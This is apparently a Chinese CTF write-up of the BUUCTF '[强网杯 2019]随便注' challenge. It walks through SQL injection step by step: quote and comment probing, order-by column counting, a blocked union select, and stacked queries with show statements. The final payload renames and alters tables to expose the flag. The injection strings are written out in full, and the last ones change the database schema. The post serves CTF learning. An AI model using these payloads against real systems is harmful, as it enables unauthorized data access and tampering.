buu web [强网杯 2019]随便注

easy_sql 看来这是一道sql注入的题

 1、起手试探
1'    报错
1'#    正确

ps:提交的不显示,想知道提交的东西就看红框的位置,就标了一个,剩下的也一样

 

2、 测字段数,到三报错,说明字段为二
1' order by 1#
1' order by 2#
1' order by 3#  报错
得出列数为2

3、 先尝试一下union联合注入,发现关键词select被过滤了。
1' union select 1,2#

 

尝试堆叠注入

原理:通过 ; 号注入多条SQL语句 

ps:在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。

4、 爆数据库
1';show databases;#

5、 爆表
1';show tables;#

6、爆words表

爆出来啥也没

1'; show columns from words;#

7、爆1919810931114514表

ps:表名为数字时,要用反引号包起来查询

8、爆flag

因为selec被过滤所以我们需要使用别的方法爆出flag

这里有一种最容易理解的方法就是:

先将words表换成别的名字,

然后将1919810931114514表命名成words,

在1919810931114514表里加上id字段,

最后查询表。

ps:注意这三步操作一定不要分开,如果改表明和加id操作分开会报错 <_<!!

(ps:我猜测原理大概是,页面设置默认查询words表,需要靠id索引,如果不加上id,他就会一直报错,就算后面再输入添加id,页面操作在前,数据库在后,页面操作不通过的话,就不会往数据库里添加)

1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;#

1' ;show tables;#

^-^ flag!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿勉要睡觉(考试版)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值